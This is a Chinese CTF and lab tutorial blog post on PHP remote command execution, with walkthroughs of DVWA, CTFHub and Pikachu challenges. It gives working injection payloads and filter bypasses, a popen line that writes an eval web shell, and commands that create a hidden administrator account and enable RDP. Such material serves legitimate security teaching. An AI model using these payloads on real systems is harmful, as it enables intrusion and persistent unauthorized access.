RCE (Remote ????? execution) --->CTF

看这个标题就知道今天的内容不简单!!!! 那么就来讲一下我们的RCE吧

目录

​编辑

1. &? |? ||? &&?

2.PHP命令执行函数&& ''||""

1.""  "

2.exec 

 2.System

3.passthru

4.Backquote反引号

5.Popen

3.DVWA ---> RCE

​编辑

4.CTFHUB -----> RCE

1.RCE ---> eval!!!!

​编辑

2.RCE -->简单注入

3.过滤我cat????

4.涨芝士力!!!

5.不给我用/ \ ?? 有用吗???

6.不能用 | & ??笑死!!

7.这套组合拳可不简单!!!

5.Pikachu靶场!!

1.Exec ping

​编辑

2.Exec eval 

补充!!!

1. &? |? ||? &&?

在开始讲rce之前,需要先去了解一些知识!!! 当我们平常在cmd里面直接:

ping www.baidu.com

基本上都是收到这样的一个回显 

但是如果我们是这样呢???

ping www.baidu.com | whoami

你就会发现很神奇的东西出现了,前面的东西没被解析,反而后面的代码执行了!!! 

所以这里就要开始普及知识了!!!

似乎有点难理解,我用实际的例子来演示一下!!!

对于| 这个很好理解,不多说(但是要区别windows和Linux)如果是;Linux的话,前面如果执行失败,像ping不成功的话,会一直执行下去!!!

对于|| :前面为真的话就执行前面,前面为假的话就执行后面

&:后面的语句一定会执行,前面的语句真或者假都无所谓

&& :必须全部都要是真的才有效!!!

2.PHP命令执行函数&& ''||""

1.""  "

先来讲 "" '' 这两个的区别 ,其实一张图就可以弄清楚他们的区别

从上面的图片就可以看出来, "" 会对所包裹的东西解析,而 '' 则不会!!

2.exec 

这个函数的执行结果是返回是一个数组

<?php

exec("chcp 65001 && ipconfig",$b);
var_dump ($b);
?>

TIPS:建议用var_dump 或者print_r 来输出结果,如果你用echo或者print的话,就会出现以下结果

          

 2.System

该函数会把执行结果输出,并把输出结果的作为字符串返回。(不用echo)

<?php
system("chcp 65001 && ipconfig");
?>

3.passthru

执行外部程序并且显示原始输出!

<?php
passthru("chcp 65001 && ipconfig");
?>

4.Backquote反引号

是不是很奇怪,反引号也能执行命令??? 哈~ 其实反引号就是shell_exec()函数的变体!!!!

但是要echo出来 ,,哈哈你应该猜到了他是以字符串的形式返回的了吧@_!

<?php
echo `chcp 65001 & ipconfig`;
?>

5.Popen

函数不会直接返回执行结果,而是返回一个文件指针(通过文件指针就可对它所指的文件进行各种操作),命令是已经执行了 如下!!

<?php popen('whoami >>D:/2.txt','r'); ?>

以下的方式就是通过只读的方式将“whoami”写进d盘下的2.txt的文件!!!,同理

我们也可以写一句话木马!!!

<?php popen('echo "<?php @eval($_POST["cmd"]);?>" >>D:\phpstudy_pro\WWW\2.php','r'); ?>

虽然生成的文件里面会带有两个 ""

但是蚁剑是可以连接的上的!!!!

3.DVWA ---> RCE

这种就直接用管道符号拼接就可以了!!!!

但是如果单单只是查看whoami的话,怎么能体现出RCE的危害呢??? 那肯定还得这样!!

那其实也很简单,只需要简单的以下步骤就可以!!!!

 1| net user hack 123  /add
1 | net localgroup administrators hack /add
1 | net user hack /active:yes
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

  可以看见是成功创建,并且是管理员账号

由于Windows的家庭版是不能开启3389的端口的,所以上面开启3389端口的命令只适用于其他的版本,而且家庭版是不支持远程连接的!!!!!

4.CTFHUB -----> RCE

1.RCE ---> eval!!!!

首先是它的题目都在疯狂的暗示你要eval!!!所以!! 

先去试一下命令执行!~!!! 

?cmd=phpinfo();

可以看见是能成功回显!!! 而且!!!! 他还是一个Linux的操作系统

所以我们就可以开始操作了!!

?cmd=system("cat /etc/passwd");

这时候有人就想问了,为什么你上面都是直接跟的一个命令 而后面就要用到system去执行!!

那是因为cat ifconfig这些不是php的函数而需要system去执行操作系统的命令!!!

但是似乎flag并不在这里???         

那就只能去看一下别的地方了!!!

?cmd=system("ls /");

终于能看见flag这个字眼了!!!! 

cd一下进去???发现啥也没有,说明,这不是一个目录!!!而是一个文件!!!

那就直接!!!

?cmd=system("cat /flag_12620");

成功拿到flag!!!

ctfhub{fa0ecc5623fdb91c191c715f}

2.RCE -->简单注入

话不多说,直接ls 

1 | ls

可以看见 有这样的一个文件  7982308928311.php  cat一下??

???咋啥都没得??? 难道是权限的问题???

127.0.0.1 && chmod 777 7982308928311.php && cat 7982308928311.php

还是不行??? 当我准备放弃的时候,我想它是不是隐藏了???  F12看看??

好家伙,还真是 !!! 于是就能成功拿到flag!!

ctfhub{fce7ee565332816beeaca8ee}

3.过滤我cat????

很明显的源代码也告诉了我们

if (isset($_GET['ip']) && $_GET['ip']) {
    $ip = $_GET['ip'];
    $m = [];
    if (!preg_match_all("/cat/", $ip, $m)) {
        $cmd = "ping -c 4 {$ip}";
        exec($cmd, $res);
    } else {
        $res = $m;
    }
}
?>

 它就是直接将cat 替换成了空 ,那很简单了,毕竟Linux又不是只有一个cat去查看文件

1 | tail flag_56421672928511.php

 还是阴间的藏flag!!!

不过还是能拿到

ctfhub{dbf23b8a7f2a42423bbc5258}

4.涨芝士力!!!

我们一进去就能看见这样的代码

很明显,正则匹配了我们的空格符号,所以首先我们要用以下的操作

  1. 要用Linux的命令(为什么?ping -c是Linux -n是Windows这个大家还是知道的吧
  2. 不能使用空格!!!
  3. + /**/ 这些占位符号是没有用的,毕竟这不是sql注入!!!不信来看!!

可以看见是并没有解析成功的!!!!

所以就要给出一条这样的命令

1.1.1.1&&cat<flag_1854125836888.php

其中:

<  这是一个重定向符号,用于将一个文件的内容输入到命令中 !!这样就完美的解决了没有空格的问题

成功拿到flag

ctfhub{6a8de490cdfa3ccaf370306d}

5.不给我用/ \ ?? 有用吗???

首先看源代码是可以知道它是不给我们去使用 \ /这些字符的!!! 所以我们就要一步一步走!!

1.1.1.1 | ls

 可以看见是有一个flag_is_here的目录

这里就补充一个知识:

Linux是不可以直接cd etc 导致从/home/kali ----> /etc的 ,但是!!

从/ cd etc ---> /etc 这样是可以的!!

所以思路一下子就清晰了!!!

我们只需要执行这样的poc,就可以看一下flag_is_here里面有什么!!

1.1.1.1 & cd flag_is_here &&ls

能看见是有一个  flag_9337221722918.php 的php文件!!!

所以最终的poc就出来了!!!

1.1.1.1 & cd flag_is_here &&cat flag_409218184117.php

就能得到flag了 !!

ctfhub{300e21f040ac4c07c5bbd170}

6.不能用 | & ??笑死!!

可以看见他是正则匹配了所有的 | & 

if (isset($_GET['ip']) && $_GET['ip']) {
    $ip = $_GET['ip'];
    $m = [];
    if (!preg_match_all("/(\||\&)/", $ip, $m)) {
        $cmd = "ping -c 4 {$ip}";
        exec($cmd, $res);
    } else {
        $res = $m;
    }
}

所以我们需要不用 | &这些来操作 有没有呢 ?? 有 !! 就是 ;(是不是很像堆叠注入!!😂)

所以poc就出来了!!

1.1.1.1; ls

 可以看见一个php的文件!!

1.1.1.1;cat flag_52932709424208.php

成功拿到flag!!!!

ctfhub{3774821406c088853c387de9}

7.这套组合拳可不简单!!!

这一关,感觉咋绝非善类!!!

if (!preg_match_all("/(\||&|;| |\/|cat|flag|ctfhub)/", $ip, $m)) {

可以看见是直接匹配了 | & ; cat \ flag 可以说是防的很死了!!!

但是!! 道高一张魔高一尺

  1. 过滤 | ? 那我就%0a  (哈哈sql注入是不是也可以)
  2. 过滤 cat ?那我大把 tac tail less more 
  3. 过滤flag??  这里可以用到模糊匹配   ?(用于匹配一个字符)  *用于匹配多个字符!!
  4. 过滤我空格 ?? 可以 ${IFS} 在一些旧版本的Linux会被解释为空格 !!

那么,就开搞吧!!!!

2%0als

   看到flag_is_here的文件夹!!

继续我们的poc!!! 

2%0acd${IFS}fla?_is_here%0als

 看见flag的文件了!!!!

最终的poc!!!

2%0acd${IFS}fla?_is_here%0amore${IFS}fla* 

成功拿到最后的flag!!!

  

ctfhub{8c315dfb71bf4a4181a8b155}

5.Pikachu靶场!!

1.Exec ping

这关就是最简单的直接套poc就好!!

顺便来审计一下它的代码!!

if(isset($_POST['submit']) && $_POST['ipaddress']!=null){
    $ip=$_POST['ipaddress'];
//     $check=explode('.', $ip);可以先拆分,然后校验数字以范围,第一位和第四位1-255,中间两位0-255
    if(stristr(php_uname('s'), 'windows')){
      var_dump(php_uname('s'));
        $result.=shell_exec('ping '.$ip);//直接将变量拼接进来,没做处理
    }else {
        $result.=shell_exec('ping -c 4 '.$ip);
    }
}

可以看出来是没有对ip进行任何的过滤,于是造成了RCE!!!!

2.Exec eval 

这个也是最简单的一种RCE了吧话不多说,我们直接看源代码!!!!!

话不多说,直接看代码

$html='';
if(isset($_POST['submit']) && $_POST['txt'] != null){
    if(@!eval($_POST['txt'])){
        $html.="<p>你喜欢的字符还挺奇怪的!</p>";
    }

}

可以看见是直接eval的去执行的!!!!!!

那就只要在post包的内部 txt=system(whoami)    这样就能导致代码执行!!!!!

补充!!!

对于命令执行,我们还有一种办法!!!!

<?php ${assert($_POST['cmd'])};  ?>

是的!! 被${}包裹起来的php代码也是会被执行的!!!!! 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/409247.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

USB Micro引脚及相应原理图绘制

前言&#xff1a;博主为实现绘制USB Micro输入口原理图&#xff0c;首先在 GD32F103XX的数据手册中找到引脚的功能描述&#xff0c;找到USBDM与USBDP功能&#xff0c;分别为引脚PA11与引脚PA12。然后进行相应的原理图绘制。 * USBDM。USBDM 引脚是与通用串行总线 (Universal Se…

java数据结构与算法刷题-----LeetCode106. 从中序与后序遍历序列构造二叉树

java数据结构与算法刷题目录&#xff08;剑指Offer、LeetCode、ACM&#xff09;-----主目录-----持续更新(进不去说明我没写完)&#xff1a;https://blog.csdn.net/grd_java/article/details/123063846 1. 法一&#xff1a;递归 解题思路&#xff1a;时间复杂度O(n),空间复杂度…

人工智能 — 相机模型和镜头畸变

目录 一、相机模型1、相机与图像2、坐标系1、世界坐标系2、相机坐标系3、图像物理坐标系4、图像像素坐标系 3、相机成像4、世界坐标系到摄像机坐标系5、欧氏变换6、齐次坐标7、摄像机坐标系到图像物理坐标系8、图像物理坐标系到图像像素坐标系9、摄像机坐标系到图像像素坐标系1…

图解目标检测 之 【YOLOv9】 算法 最全原理详解

YOLOv9与SOTA模型对比 什么是 YOLOv9&#xff1f;YOLOv9是YOLO系列中的最新产品&#xff0c;是一种实时目标检测模型。它通过先进的深度学习技术和架构设计&#xff0c;包括通用 ELAN (GELAN) 和可编程梯度信息 (PGI)&#xff0c;展现出更好的性能。 YOLO 系列通过引入计算机视…

C++入门学习(三十七)函数分文件编写【DEV】

创建.h后级名的头文件创建.cpp后缀名的源文件在头文件中写函数的声明在源文件中写函数的定义 一、选择文件、新建、项目 二、 选择Empty Project 三、 新建源文件New File 四、贴代码 test.cpp #include <iostream> #include "add.h" using namespace std;i…

在Sora引爆视频生成时,Meta开始用Agent自动剪视频了

未来&#xff0c;视频剪辑可能也会像视频生成领域一样迎来 AI 自动化操作的大爆发。 这几天&#xff0c;AI 视频领域异常地热闹&#xff0c;其中 OpenAI 推出的视频生成大模型 Sora 更是火出了圈。而在视频剪辑领域&#xff0c;AI 尤其是大模型赋能的 Agent 也开始大显身手。 …

PMP项目管理考试要注意些什么?

PMP考试和PMP备考过程中应该注意哪些问题&#xff1f; PMP备考完成后就要迎接实战考试了&#xff0c;考试前千万不要有多余的想法&#xff0c;顺其自然就行了&#xff0c;我想大家各种紧张、各种忧虑的原因大抵是因为考试成本考&#xff0c;担心考不过&#xff0c;其实只要你在…

Java后端服务接口性能优化常用技巧

接口性能优化常用技巧 前言1.数据库索引2.慢SQL优化3.异步执行4.批量处理5.数据预加载6.池化技术&#xff08;多线程&#xff09;8.事件回调机制9.串行改为并行调用10.深度分页问题 前言 对于高标准程序员来说提供高性能的服务接口是我们所追求的目标&#xff0c;以下梳理了一…

Linux安装Zookeeper

目录 下载配置启动 下载 下载链接 https://archive.apache.org/dist/zookeeper/上传 我直接本地下好了&#xff0c;拖到对应文件夹解压&#xff0c;重命名&#xff0c;注意路径 tar -zxvf /opt/Zookeeper/apache-zookeeper-3.7.2-bin.tar.gz -C /opt/ mv /opt/apache-zookeep…

WPF真入门教程29--MVVM常用框架之MvvmLight

1、MVVM模式回顾 关于mvvm模式的基础知识&#xff0c;请看这2个文章&#xff1a; WPF真入门教程23--MVVM简单介绍 WPF真入门教程24--MVVM模式Command命令 做过VUE开发或微信小程序开发的伙伴&#xff0c;就知道MVVM模式&#xff0c;核心就是数据驱动控件&#xff0c;全栈开…

【EAI 025】Ego4D: Around the World in 3,000 Hours of Egocentric Video

Paper Card 论文标题&#xff1a;Ego4D: Around the World in 3,000 Hours of Egocentric Video 论文作者&#xff1a;Kristen Grauman, Andrew Westbury, Eugene Byrne, et al. 作者单位&#xff1a;UC Berkeley, CMU, Google 论文原文&#xff1a;https://arxiv.org/abs/2110…

【MySQL高可用集群】MySQL的MGR搭建

前情提要&#xff1a; MySQL官方在 5.7.17版本正式推出组复制&#xff08;MySQL Group Replication&#xff0c;简称MGR&#xff09;&#xff0c;使用类似 zookeeper 的多于一半原则。在一个集群由 2N1 个节点共同组成一个复制组&#xff0c;一个事务的提交&#xff0c;必须经过…

Babylonjs学习必备

基于babylonjs封装的一些功能和插件 &#xff0c;希望有更多的小伙伴一起玩babylonjs&#xff1b; 欢迎加群&#xff1a;464146715 ​ 官方文档 中文文档 Babylonjs案例分享 ​ ​

kafka生产者2

1.数据可靠 • 0&#xff1a;生产者发送过来的数据&#xff0c;不需要等数据落盘应答。 风险&#xff1a;leader挂了之后&#xff0c;follower还没有收到消息。。。。 • 1&#xff1a;生产者发送过来的数据&#xff0c;Leader收到数据后应答。 风险&#xff1a;leader应答…

Vision Mamba:使用双向状态空间模型进行高效视觉表示学习

模型效果 将DeiT和Vim模型之间的性能和效率比较&#xff0c;为了进行准确性比较&#xff0c;我们首先在IN1K分类数据集上预训练DeiT和Vim&#xff0c;然后在不同的下游密集预测任务上微调通用主干&#xff0c;即&#xff0c;语义分割、目标检测、实例分割。结果表明&#xff0c…

VIO第5讲:后端优化实践

VIO第5讲后端优化实践&#xff1a;逐行手写求解器 文章目录 VIO第5讲后端优化实践&#xff1a;逐行手写求解器1 非线性最小二乘求解流程1.1 H矩阵不满秩的解决办法1.2 H矩阵的构建1.2.1 确定维度1.2.2 构建海塞矩阵 1.3 初始化μ—LM算法1.4 求解线性方程1.4.1 非SLAM问题—求逆…

【架构】GPU架构总结

文章目录 GPU架构GPU渲染内存架构Streaming Multiprocessor(SM)CUDA CoreTensor CoreRT CoreCPU-GPU异构系统GPU资源管理模型 GPU架构演进G80 架构Fermi 架构Maxwell架构Tesla架构Pascal架构Volta 架构Turing架构Ampere 架构Hopper架构 参考文献 GPU架构 主要组成包括&#xf…

【C语言】指针初阶

正文开始之前&#xff0c;我们要记住一个东西就是&#xff1a;地址指针 目录 一、指针的解释二、指针变量和地址1、取地址操作符2、指针变量和解引用操作1、指针变量2、拆解指针类型3、解引用操作符4、注意事项 3、指针变量的大小4、指针的解引用5、void*指针 三、指针的运算1、…

【Java程序设计】【C00277】基于Springboot的招生管理系统(有论文)

基于Springboot的招生管理系统&#xff08;有论文&#xff09; 项目简介项目获取开发环境项目技术运行截图 项目简介 这是一个基于Springboot的招生管理系统 本系统分为系统功能模块、管理员功能模块以及学生功能模块。 系统功能模块&#xff1a;在系统首页可以查看首页、专业…

Linux——静态库

Linux——静态库 静态库分析一下 ar指令生成静态库静态库的使用第三方库优化一下 gcc -I(大写的i) -L -l(小写的l)&#xff0c;头文件搜索路径&#xff0c;库文件搜索路径&#xff0c;连接库 今天我们来学习静态库的基本知识。 静态库 在了解静态库之前&#xff0c;我们首先来…